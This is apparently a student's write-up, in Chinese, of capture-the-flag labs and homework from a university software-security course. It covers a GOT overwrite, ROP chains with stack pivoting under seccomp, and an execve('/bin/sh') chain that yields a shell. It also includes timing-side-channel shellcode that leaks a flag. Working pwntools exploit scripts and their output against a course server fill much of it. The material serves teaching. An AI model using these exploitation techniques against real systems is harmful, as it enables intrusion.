---
tags: CS 2022 Fall, 程式安全
author: Ching367436
---
# [0x07] pwn I
### [LAB] got2win
lecture: https://youtu.be/ktoVQB99Gj4%20
slide: https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link
#### 題目
```c=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x30];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
int fd = open("/home/user/Desktop/pwn1/got2win_642f93b268c28cb0/got2win/test/flag", O_RDONLY);
read(fd, flag, 0x30);
close(fd);
write(1, "Good luck !\n", 13);
unsigned long addr = 0;
printf("Overwrite addr: ");
scanf("%lu", &addr);
printf("Overwrite 8 bytes value: ");
read(0, (void *) addr, 0x8);
printf("Give me fake flag: ");
int nr = read(1, flag, 0x30);
if (nr <= 0)
exit(1);
flag[nr - 1] = '\0';
printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);
return 0;
}
```
`:13,15` 會先把 `flag` 讀取近來
`:18,22` 讓我們 Overwrite 一個記憶體位址
`:25` 會從 `stdout` 把東西讀進 `flag`
把東西從 `stdout` 讀進來看起來很特別
只要把 `read` 想辦法蓋成 `write` 就可以直接把 `flag` 輸出到 `stdout` 了
這邊來找 `read` 的 `got` 由下圖可知是 `0x404038`
`write` 的 `plt` 是 `0x401030`
把 `read` `got` 的地方寫成 `write` 的 `plt`
那最後程式執行到 `read` 的時候就會把 `write` 載入到 `read` `got`
就成功把 `read` 蓋成 `write` 了
![](https://i.imgur.com/VSTzJlW.png)
##### `got2win/exp.py`
```python
from pwn import *
context.arch = 'amd64'
r = remote('edu-ctf.zoolab.org', 10004)
read_got = 0x404038
write_plt = 0x401030
r.sendlineafter(b'Overwrite addr: ', str(read_got).encode())
r.sendafter(b'Overwrite 8 bytes value: ', p64(write_plt))
r.interactive()
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10004: Done
[*] Switching to interactive mode
Give me fake flag: FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
\x00\x00his is your flag: ctf{FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
}... Just kidding :)
[*] Got EOF while reading in interactive
'''
```
### [LAB] rop2win
#### 題目
```c=
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
char fn[0x20];
char ROP[0x100];
// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx);
seccomp_release(ctx);
printf("Give me filename: ");
read(0, fn, 0x20);
printf("Give me ROP: ");
read(0, ROP, 0x100);
char overflow[0x10];
printf("Give me overflow: ");
read(0, overflow, 0x30);
return 0;
}
```
題目用 `seccomp rule` 限制了 `syscall`
這邊 `open` `read` `write` `exit_group` `exit` 仍可使用
所以打算使用 `open` `read` `write` 來構造出下面的結構
```c
open(filename, 0, 0);
read(fd, filename_addr, 0x30);
write(1, filename_addr, 0x30);
```
#### checksec
![](https://i.imgur.com/mPNbWnU.png)
看到有 `NX` 所以先考慮使用 `ROP Stack pivoting`
#### 全域變數
這邊題目好心給了 `fn[0x20]` `ROP[0x100]` 這兩個可控的全域變數
這樣可以很方便的取得他們的位置
##### `gef`
```c
gef➤ p &fn
$5 = (<data variable, no debug info> *) 0x4e3340 <fn>
gef➤ p &ROP
$6 = (<data variable, no debug info> *) 0x4e3360 <ROP>
gef➤
```
所以這邊打算把
1. `fn` 放成 `/home/chal/flag`
2. `ROP` 放成 `ROP`
所以要來找 `ROP Gadget`
#### ROP Gadget
這裡使用 `ROPgadget` 來找 `ROP Gadget`
```c
user@user-vm ~/D/p/rop2win> ROPgadget --binary ./share/chal > rop1
```
會用到的有
1. `pop_rdi_ret`
2. `pop_rsi_ret`
3. `pop_rax_ret`
4. `leave_ret`
5. `syscall_ret`
不過這裡沒有 `pop_rax_ret` 所以找了 `pop_rax_rdx_rbx_ret`
這樣就有 `open` `read` `write` 了
#### 控制程式執行流程
這邊題目給了 `overflow[0x10]`
題目會讀取 `0x30` 個字
所以有 `overflow`
然後題目給的 `overflow` 剛好可以蓋到 `ret addr`
所以還是需要 `ROP` 這個變數來放 `ROP`
```c
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa
^ ^
old_rbp ret_addr
```
#### ROP Stack Pivoting
有了 `overflow` 之後
將 `stack` 上的
1. `ret addr` 蓋成 `leave ; ret` 的位置
2. `old_rbp` 蓋成 `&ROP-8`
如下圖
![](https://i.imgur.com/PlGpoFt.png)
這樣執行到 `leave` 的時候
`rbp` 會跑去 `&ROP-8`
執行到 `ret` 的時候
`rip` 會跳去 `leave ; ret` 的位置
如下圖
![](https://i.imgur.com/78WDnMO.png)
所以接下來又會碰到一次 `leave ; ret`
碰到 `leave` 的時候
相當於執行
```asm
mov rsp, rbp
pop rbp
```
所以 `rsp` 會被蓋成 `rbp` 也就是 `&ROP-8`
`rsp` 好像還會加 8 (? 好像是 `pwntools` 做的事) 所以會是 `&ROP`
碰到 `ret` 的時候
因為 `rsp` 已經變道 `&ROP` 了
所以 `rip` 會跳到 `rsp` 也就是 `ROP` 上第一個所指的地方
那邊是可控的
只要把 `ROP` 做好就可以
會用到的 `gadget` 都找好了
接著跳到 `ROP` 後就可以收 `flag` 了
以下是我的 `ROP chain`
##### `rop2win/exp.py`
```python
ROP = flat(
# open(filename, 0, 0)
pop_rdi_ret, filename_addr,
pop_rsi_ret, 0,
pop_rax_rdx_rbx_ret, 2, 0, 0,
syscall_ret,
# read(fd, filename_addr, 0x30)
pop_rdi_ret, 3,
pop_rsi_ret, filename_addr,
pop_rax_rdx_rbx_ret, 0, 0x30, 0,
syscall_ret,
# write(1, filename_addr, 0x30)
pop_rdi_ret, 1,
pop_rsi_ret, filename_addr,
pop_rax_rdx_rbx_ret, 1, 0x30, 0,
syscall_ret
)
'''output:
[+] Opening connection to edu-ctf.zoolab.org on port 10005: Done
[*] Switching to interactive mode
FLAG{banana_72b302bf297a228a75730123efef7c41}
\x00[*] Got EOF while reading in interactive
'''
```
### [HW] rop++
#### 題目
```c=
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
```
#### file
![](https://i.imgur.com/tfnngXf.png)
#### checksec
![](https://i.imgur.com/zqr4uLB.png)
#### overflow
題目 `:15` 有明顯的 overflow
因為有 `NX` 所以不能直接寫 `shellcode` 到 `stack` 執行
這邊打算用 `ROP`
來了解一下 `old rbp` 與 `&buf` 的 `offset`
送給 `buf` 以下 `pattern`
```
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa
```
由下圖可看出 `old rbp` 的 `offset` 是 `0x20`
所以 `ret addr` 的 `offset` 是 `0x28`
<!-- ![](https://i.imgur.com/rSxh3Cf.png) -->
![](https://i.imgur.com/25gQ4Hi.png)
這邊想要拿到 `"/bin/sh\x00"` 這個字串
然後在 `execve("/bin/sh")`
這邊先試著用 `read(0, somewhere, 8)` 把 `"/bin/sh\x00"` 試著寫進去
![](https://i.imgur.com/W7zqyJ4.png)
`0x000000004c5000` 可讀可寫
那就決定把 `"/bin/sh\x00"` read 到 `0x000000004c5000`
可以從下圖看到寫的進去
而且我選的 `syscall` 後面會跳回原處
然後變成 `lseek` 的 `syscall`
`syscall` 後面會跳回原處
然後變成 `lseek` 的 `syscall`
`syscall` 後面會跳回原處
然後變成 `lseek` 的 `syscall`
行程無限迴圈
![](https://i.imgur.com/5L2XP6n.png)
可是這裡找到的 `ROP Gadget` 只有 `syscall` 沒有 `syscall ; ret`
所以我們只能用一次 `syscall`
那就用別的方法把 `/bin/sh\x00` 寫進去
https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/
所以找了個
```asm
0x449fa5 <_dl_get_tls_static_info+21>: mov QWORD PTR [rsi],rax
0x449fa8 <_dl_get_tls_static_info+24>: ret
```
然後構成了以下的 `ROP chain`
##### `rop++/exp.py`
```python
ROP = flat(
# move "/bin/sh\x00" to writable_addr
pop_rax_ret, bin_sh,
pop_rsi_ret, writable_addr,
mov_rax2rsi_addr_ret,
# execve('/bin/sh', 0, 0)
pop_rdi_ret, writable_addr,
pop_rsi_ret, 0,
pop_rax_rdx_rbx_ret, 0x3b, 0, 0,
syscall,
)
'''output
user@user-vm ~/D/p/rop++> python3 ./exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10003: Done
[*] Switching to interactive mode
$ cat /home/chal/flag
FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d}
$
'''
```
### [HW] how2know
#### 題目
```c=
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
void *addr;
int fd;
scmp_filter_ctx ctx;
addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if ((unsigned long)addr == -1)
perror("mmap"), exit(1);
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the code\n", 33);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
((void(*)())addr)();
return 0;
}
```
#### file
![](https://i.imgur.com/MwouQWf.png)
看到 `dynamically linked`
#### checksec
![](https://i.imgur.com/DwAuSwu.png)
看到 `NX` 不過題目會處理讓 `shellcode` 可以執行所以沒差
#### got
![](https://i.imgur.com/BQV0USe.png)
#### seccomp-tools
![](https://i.imgur.com/WOhgycM.png)
#### solve
看到只能用 `exit` `exit_group` 的 `syscall`
只能想辦法用其他方法 leak 出 `flag`
https://unam.re/blog/reading-files-without-write-syscall
先找到 `flag` 的記憶體位置
![](https://i.imgur.com/SdOSPOV.png)
結果發現每次都會變
![](https://i.imgur.com/1TAZREP.png)
看到 `flag` 是相對於 `rip` 的
所以我們需要執行到 `+119` 的時候的 `rip`
而那個時候的 `rip` 的資訊我們可以從 `stack` 上找到
![](https://i.imgur.com/503PIpq.png)
然後 `<main+0>` 也在 `stack` 也就是 `$rbp+0x18`
![](https://i.imgur.com/khYmacj.png)
![](https://i.imgur.com/MqzvjrH.png)
`flag` 的位置在 `<main+159> + 0x2d18`
所以可以算的出來
實際試看看可以發現算出來的是對的
![](https://i.imgur.com/P2FVQvs.png)
有 `flag` 的位置的話我們就可以開始 leak `flag` 了
我們透過讓產生兩種不同的回應來做到資訊的取得
用時間來區分
方法如下
```asm
xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay
```
這樣就可以做出 `delay` 的效果
可以看到有明顯的時間差如下圖 (第一個是有 `delay` 的 第二個則否)
![](https://i.imgur.com/NgqqJr2.png)
我這邊的計畫是如果 `flag[i] == guess` 就讓他 `delay`
反之則否
對於每個 `i` 都試一次就可以找出 `flag` 了
`shellcode` 如下
##### `shellcode`
```asm
xor rax, rax
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
mov dl, {guess} /* guess */
mov rsi, [rbp+0x18] /* rsi = <main+0> */
lea rdi, [rsi+159+0x2d18] /* rdi = (<main+159> + 0x2d18) */
mov al, byte [rdi+{idx}] /* al = *(&flag+idx) */
cmp al, dl
jnz end
xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay
end:
```
這邊就先不用二分搜索 反正字數不多
效果看起來不錯
![](https://i.imgur.com/vSTPr3K.png)
這邊的取法就取時間話最久的來當 `flag[i]`
做到一半看到一個很危險的
![](https://i.imgur.com/Wei7oYJ.png)
找到的 `flag` 有差兩個字
```
FLAG{piano_d11sf1c3f9ed8S19288f4e8ddecfb8ec}
```
```
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
```
那就多 `sample` 個幾次
##### `how2know/exp.py`
```python
flag = ''
for i in range(-1, 99999):
timeTaken = []
for guess in range(0x21, 0x7f):
# sample 3 times in case of noise
timeTaken.append(0)
timeTaken[-1] = min(getTimeTaken(i, guess), getTimeTaken(i, guess), getTimeTaken(i, guess))
print(f'idx: {i}, guess: {guess}, time: {timeTaken[-1]}')
longest_idx = timeTaken.index(max(timeTaken))
flag += chr(longest_idx + 0x21)
print(flag)
if flag[-1] == '}':
break
'''output
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
'''
```